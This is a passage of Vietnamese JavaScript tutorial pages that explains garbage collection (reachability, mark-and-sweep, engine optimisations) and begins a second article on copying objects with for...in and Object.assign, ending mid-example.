aria-label="ví dụ đơn giản về garbage collection permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ đơn giản về Garbage collection</h2> <p>Sau đây là ví dụ đơn giản về garbage collection trong JavaScript:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Biến user có tham chiếu đến một object</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p><img src="/a12077bc8d53b0ac2db5f689a816f343/garbage-collection-memory-user-john.svg" alt="Memory user John"></p> <p>Trong hình trên, kí hiệu mũi tên biểu thị tham chiếu. Biến toàn cục <code>user</code> có tham chiếu đến object <code>{ name: "John"}</code> (sau đây mình sẽ gọi là "John" cho ngắn gọn). Thuộc tính <code>name</code> của John có giá trị là kiểu nguyên thủy nên được vẽ bên trong object.</p> <p>Nếu giá trị của biến <code>user</code> được ghi đè thì tham chiếu sẽ bị mất:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">user <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></code></pre></div> <p><img src="/e857e2c1f3801770fa4002fe188143a1/garbage-collection-memory-user-john-lost.svg" alt="Memory user John mất tham chiếu"></p> <p>Lúc này, John là "không thể tiếp cận". Không có cách nào để truy cập đến John vì không có tham chiếu đến nó. Do đó, <strong>Garbage collector</strong> sẽ xóa John khỏi bộ nhớ.</p> <h2 id="hai-tham-chiếu-đến-object" style="position:relative;"><a href="#hai-tham-chi%E1%BA%BFu-%C4%91%E1%BA%BFn-object" aria-label="hai tham chiếu đến object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hai tham chiếu đến object</h2> <p>Giả sử bạn <a href="/copy-object-trong-javascript/">copy object</a> dạng tham chiếu từ <code>user</code> sang <code>admin</code>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> admin <span class="token operator">=</span> user<span class="token punctuation">;</span></span></code></pre></div> <p><img src="/aeeb024ce4f4684e819e45c0a1af245a/garbage-collection-memory-user-john-admin.svg" alt="Memory user John admin"></p> <p>Lúc này, tồn tại hai tham chiếu đến John. Và nếu giá trị của biến <code>user</code> được ghi đè:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">user <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></code></pre></div> <p>Tham chiếu từ <code>user</code> đến John bị mất, nhưng vẫn còn tham chiếu từ <code>admin</code> đến John. Nói cách khác, John vẫn "có thể tiếp cận" được. Nên vùng nhớ của John không bị xóa.</p> <p>Chi khi nào giá trị của <code>admin</code> cũng bị ghi đè thì vùng nhớ của John mới bị xóa.</p> <h2 id="object-có-liên-kết-nội-bộ" style="position:relative;"><a href="#object-c%C3%B3-li%C3%AAn-k%E1%BA%BFt-n%E1%BB%99i-b%E1%BB%99" aria-label="object có liên kết nội bộ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Object có liên kết nội bộ</h2> <p>Hãy xem một ví dụ phức tạp hơn:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">marry</span><span class="token punctuation">(</span><span class="token parameter">man<span class="token punctuation">,</span> woman</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> woman<span class="token punctuation">.</span>husband <span class="token operator">=</span> man<span class="token punctuation">;</span> man<span class="token punctuation">.</span>wife <span class="token operator">=</span> woman<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">father</span><span class="token operator">:</span> man<span class="token punctuation">,</span> <span class="token literal-property property">mother</span><span class="token operator">:</span> woman<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> family <span class="token operator">=</span> <span class="token function">marry</span><span class="token punctuation">(</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Ann"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hàm <code>marry</code> đã móc nối hai object <code>man</code> và <code>woman</code> bằng cách để hai object tham chiếu đến lẫn nhau. Rồi trả về một object mới chứa cả hai object <code>man</code> và <code>woman</code>.</p> <p>Kết quả thu được như sau:</p> <p><img src="/229bc9506ab65f7e47897db2992af5e1/garbage-collection-family.svg" alt="Family"></p> <p>Trong hình trên, tất cả các object đều là "có thể tiếp cận".</p> <p>Bây giờ, mình xóa đi hai tham chiếu:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">delete</span> family<span class="token punctuation">.</span>father<span class="token punctuation">;</span> <span class="token keyword">delete</span> family<span class="token punctuation">.</span>mother<span class="token punctuation">.</span>husband<span class="token punctuation">;</span></code></pre></div> <p><img src="/8ed0c2ac6186cf97f254fdddad4cb1e3/garbage-collection-family-delete-refs.svg" alt="Xóa tham chiếu trong Family"></p> <p>Bạn thấy rằng, John không có tham chiếu nào <strong>đi đến</strong>. Nói cách khác là không thể truy cập đến John từ <strong>root</strong>. Do đó, vùng nhớ của John sẽ bị xóa.</p> <p><img src="/3661cfb14378028b2868f4467987596e/garbage-collection-family-no-father.svg" alt="John không có tham chiếu trong Family"></p> <p>Sau khi xóa vùng nhớ của John, kết quả còn lại là:</p> <p><img src="/268edbb0056062b6d696aa0ba8e1bf7a/garbage-collection-family-no-father-2.svg" alt="John không có tham chiếu trong Family 2"></p> <h2 id="nhóm-các-object-không-thể-tiếp-cận" style="position:relative;"><a href="#nh%C3%B3m-c%C3%A1c-object-kh%C3%B4ng-th%E1%BB%83-ti%E1%BA%BFp-c%E1%BA%ADn" aria-label="nhóm các object không thể tiếp cận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhóm các object không thể tiếp cận</h2> <p>Có trường hợp mà cả một nhóm các object là "không thể tiếp cận" và bị xóa khỏi bộ nhớ.</p> <p>Ví dụ với object ban đầu, mình ghi đè giá trị của <code>family</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">family <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, bản đồ bộ nhớ sẽ như sau:</p> <p><img src="/b6c80bce643056c6dfc6cd3b44f72373/garbage-collection-family-no-family.svg" alt="Không có tham chiếu từ Family"></p> <p>Mặc dù, John và Ann đều có tham chiếu nội bộ đến nhau. Thậm chí, John và Ann còn có <strong>tham chiếu đi đến</strong>. Nhưng như vậy là chưa đủ.</p> <p>Vì quan trọng hơn cả, những object này lại không có tham chiếu từ <strong>root</strong>. Nên tất cả chúng đều "không thể tiếp cận".</p> <p>Kết quả là nhóm các object này bị xóa khỏi bộ nhớ.</p> <h2 id="thuật-toán-garbage-collection-trong-javascript" style="position:relative;"><a href="#thu%E1%BA%ADt-to%C3%A1n-garbage-collection-trong-javascript" aria-label="thuật toán garbage collection trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuật toán Garbage collection trong JavaScript</h2> <p>Thuật toán cơ bản của Garbage collection trong JavaScript gọi là "mark-and-sweep" ("đánh dấu-và-xóa").</p> <p>Các bước thực hiện của thuật toán này như sau:</p> <ul> <li>Garbage collector bắt đầu từ root <code>&#x3C;global></code> và đánh dấu root là "có thể tiếp cận".</li> <li>Sau đó, garbage collector đi đến tất cả các object "có thể tiếp cận" từ root.</li> <li>Tại mỗi object này, garbage collector lại đi tiếp để đánh dấu tất cả các object tham chiếu từ nó. Với chú ý là những object đã được đánh dấu sẽ không duyệt lại (để tránh lặp vô hạn).</li> <li>Cứ như vậy cho đến khi tất cả các object "có thể tiếp cận" được đánh dấu hết.</li> <li>Những object còn lại, không được đánh dấu là "không thể tiếp cận" sẽ bị xóa khỏi bộ nhớ.</li> </ul> <p>Ví dụ:</p> <p><img src="/8090a21e61fb0de39f991832967fe142/garbage-collection-1.svg" alt="Garbage collection 1"></p> <p>Dễ thấy, nhóm object bên phải là "không thể tiếp cận". Hãy xem thuật toán "mark-and-sweep" hoạt động thế nào.</p> <p>Bước đầu tiên là đánh dấu root:</p> <p><img src="/4a507a46dc75f268d80a54240f1e121c/garbage-collection-2.svg" alt="Garbage collection 2"></p> <p>Sau đó, đánh dấu các tham chiếu từ root:</p> <p><img src="/afa52a2e45c5bdb546558d1e0f9afb65/garbage-collection-3.svg" alt="Garbage collection 3"></p> <p>Tại mỗi object được đánh dấu từ bước trước, tiếp tục đánh dấu các tham chiếu từ nó:</p> <p><img src="/ca549105de14731faacee1abec28add0/garbage-collection-4.svg" alt="Garbage collection 4"></p> <p>Cuối cùng, nhóm object bên phải là "không thể tiếp cận" nên sẽ bị xóa:</p> <p><img src="/ca9ffca4a797ff73400470dd8c0d1ee8/garbage-collection-5.svg" alt="Garbage collection 5"></p> <p>Đó là cơ bản về thuật toán của Garbage collection trong JavaScript thực hiện.</p> <p>Dĩ nhiên, JavaScript Engine có tối ưu để tiến trình này thực hiện nhanh hơn và không ảnh hưởng tới hoạt động của trang web.</p> <p>Sau đây là một vài tối ưu:</p> <p>► <strong>Generational collection</strong>:</p> <p>Object được chia ra làm hai loại là "cũ" và "mới". Nhiều object được tạo ra mới, rồi sau khi thực hiện xong sẽ bị xóa khỏi bộ nhớ luôn.</p> <p>Nghĩa là những object nào "sống đủ lâu" sẽ được coi là object "cũ" nên ít bị kiểm tra hơn.</p> <p>► <strong>Incremental collection</strong>:</p> <p>Trường hợp có nhiều object mà xử lý "mark-and-sweep" trong một lần luôn thì sẽ mất rất nhiều thời gian. Điều này có thể làm ảnh hưởng tới luồng hoạt động chính của các tiến trình khác.</p> <p>Để tránh điều này, JavaScript Engine chia các object ra thành nhiều nhóm nhỏ. Mỗi nhóm sẽ được kiểm tra bởi một tiến trình độc lập.</p> <p>Và các tiến trình xử lý "mark-and-sweep" là <strong>song song</strong> nên tổng thời gian kiểm tra được rút ngắn.</p> <p>► <strong>Idle-time collection</strong>:</p> <p>Garbage collection sẽ cố gắng xử lý khi CPU đang trong trạng thái rảnh rỗi (<strong>idle</strong>) để không ảnh hưởng tới các tiến trình khác.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là những kiến thức cơ bản cần nhớ về Garbage collection trong JavaScript:</p> <ul> <li>Garbage collection trong JavaScript là quá trình dọn rác bộ nhớ. Quá trình này được thực hiện ngầm và trong suốt với người dùng. Vì vậy, bạn không thể can thiệp vào quá trình này.</li> <li>Object tồn tại trong bộ nhớ cho đến khi nó "không thể tiếp cận".</li> <li>Việc object <strong>có tham chiếu đi đến</strong> không đồng nghĩa với khả năng "có thể tiếp cận" từ <strong>root</strong>. Một nhóm object có tham chiếu nội bộ đến lẫn nhau, những vẫn có thể bị xóa vì không có tham chiếu từ <strong>root</strong>.</li> </ul> <p>Ngày nay, JavaScript Engine thực hiện nhiều thuật toán nâng cao hơn dành cho Garbage collection.</p> <p>Nếu bạn thành thạo với ngôn ngữ lập trình cấp thấp thì có thể tham khảo thêm bài viết <a href="http://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection">A tour of V8: Garbage Collection</a> để hiểu hơn về Garbage collection trong <strong>V8 Engine</strong>.</p>[email protected]<![CDATA[Copy object trong JavaScript]]><![CDATA[Trong bài viết so sánh 2 object trong JavaScript, bạn biết rằng object có kiểu dữ liệu tham chiếu. Vì vậy, copy object trong JavaScript thực chất là copy địa chỉ. Trong ví dụ trên…]]>https://completejavascript.com/copy-object-trong-javascript/https://completejavascript.com/copy-object-trong-javascript/<![CDATA[Kiểu dữ liệu]]><![CDATA[Object]]>Tue, 16 May 2017 05:00:00 GMT<p>Trong bài viết <a href="/so-sanh-object-trong-javascript/">so sánh 2 object trong JavaScript</a>, bạn biết rằng object có kiểu dữ liệu tham chiếu. Vì vậy, copy object trong JavaScript thực chất là <strong>copy địa chỉ</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> p1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> p2 <span class="token operator">=</span> p1<span class="token punctuation">;</span> p2<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p2<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p1<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5</span></code></pre></div> <p>Trong ví dụ trên, hai biến <code>p2</code> và <code>p1</code> đang cùng tham chiếu đến một địa chỉ. Khi bạn thay đổi giá trị thuộc tính của <code>p2</code> thì <code>p1</code> cũng thay đổi theo.</p> <p><strong>Nếu bạn muốn copy object thành hai đối tượng độc lập nhau thì làm thế nào?</strong></p> <p>Sau đây là một số cách để copy object thành hai đối tượng độc lập:</p> <ul> <li>Copy từng thuộc tính sử dụng vòng lặp <a href="/vong-lap-trong-javascript/"><code>for...in</code></a>.</li> <li>Copy nông (shallow copy) sử dụng hàm <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign"><code>Object.assign()</code></a> hoặc <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">cú pháp spread (...)</a></li> <li>Copy sâu (deep copy) sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify"><code>JSON.stringify()</code></a> và <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse"><code>JSON.parse()</code></a> hoặc thư viện có sẵn.</li> </ul> <h2 id="copy-object-sử-dụng-vòng-lặp-forin" style="position:relative;"><a href="#copy-object-s%E1%BB%AD-d%E1%BB%A5ng-v%C3%B2ng-l%E1%BA%B7p-forin" aria-label="copy object sử dụng vòng lặp forin permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Copy object sử dụng vòng lặp <code>for...in</code></h2> <p>Các đơn giản nhất để copy object trong JavaScript là sử dụng vòng lặp <code>for...in</code> để duyệt tất cả các thuộc tính của object. Rồi lấy giá trị ứng với từng thuộc tính để gán cho object mới.</p> <p>Ví dụ copy object bằng <code>for...in</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> p1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> p2 <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> p1<span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> p2<span class="token punctuation">[</span>key<span class="token punctuation">]</span> <span class="token operator">=</span> p1<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p2<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p2<span class="token punctuation">.</span>y<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> p2<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p2<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p1<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Bạn thấy rằng, giá trị các thuộc tính <code>x</code> và <code>y</code> của <code>p2</code> hoàn toàn giống <code>p1</code>. Nhưng khi thay đổi giá trị <code>p2.x = 5</code> thì giá trị <code>p1.x</code> vẫn không thay đổi.</p> <h2 id="copy-nông-shallow-copy-dùng-objectassign" style="position:relative;"><a href="#copy-n%C3%B4ng-shallow-copy-d%C3%B9ng-objectassign" aria-label="copy nông shallow copy dùng objectassign permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Copy nông (shallow copy) dùng <code>Object.assign()</code></h2> <p>Ngoài cách sử dụng vòng lặp <code>for...in</code> như trên, bạn có thể dùng hàm tương tự là <code>Object.assign()</code> với cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span>dest<span class="token punctuation">,</span> <span class="token punctuation">[</span>src1<span class="token punctuation">,</span> src2<span class="token punctuation">,</span> src3<span class="token operator">...</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>dest</code>: là object đích.</li> <li><code>[src1, src2, src3...]</code>: là các object nguồn.</li> </ul> <p>Phương thức trên sẽ copy toàn bộ các thuộc tính của các object nguồn <code>src1, src2,...,srcN</code> vào object đích <code>dest</code>. Và giá trị trả về chính là object đích <code>dest</code>.</p> <p>Ví dụ sử dụng <code>Object.assign</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> permission1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">canView</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> permission2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">canEdit</span><span class="token operator">:</span> <span class="token boolean">false</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// copy toàn bộ thuộc tính từ permission1 và permission2 vào user</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> permission1<span class="token punctuation">,</span> permission2<span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token comment">// user trở thành { name: "Alex", canView: true, canEdit: false }</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> user<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> <span class="token string">":"</span><span class="token punctuation">,</span> user<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// name : Alex</span> <span class="token comment">// canView: true</span> <span class="token comment">// canEdit: false</span></code></pre></div> <p>Nếu <strong>tên thuộc tính giống nhau</strong> thì kết quả là giá trị của object cuối cùng:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> permission1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">canView</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> permission2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">canView</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token literal-property property">canEdit</span><span class="token operator">:</span> <span class="token boolean">false</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></span> <span class="token comment">// copy toàn bộ thuộc tính từ permission1 và permission2 vào user</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> permission1<span class="token punctuation">,</span> permission2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// user trở thành { name: "Alex", canView: false, canEdit: false }</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> user<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">,</span> <span class="token string">":"</span><span class="token punctuation">,</span> user<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// name : Alex</span> <span class="token comment">// canView: false</span> <span class="token comment">// canEdit: false</span></code></pre></div> <p>Trong ví dụ trên, thuộc tính <code>canView</code> đều có ở <code>permission1</code> và <code>permission2</code> nên kết quả cuối cùng là giá trị ứng với object <code>permission2</code>.</p> <p>Để thay thế ví dụ với vòng lặp <code>for...in</code> phần trước, bạn có áp dụng <code>Object.assign</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> p1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> p2 <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span>p2<span class="token punctuation">,</span> p1<span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre></div> <p><strong>Tại sao gọi là copy nông?</strong></p> <p>Tương tự như <strong>so sánh nông</strong>, <strong>copy nông</strong> chỉ thực hiện sao chép trên một cấp độ. Nếu giá trị của thuộc tính trong object <strong>cũng là một object</strong> thì object copy sẽ không hoàn toàn độc lập với object nguồn.</p> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">metadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token 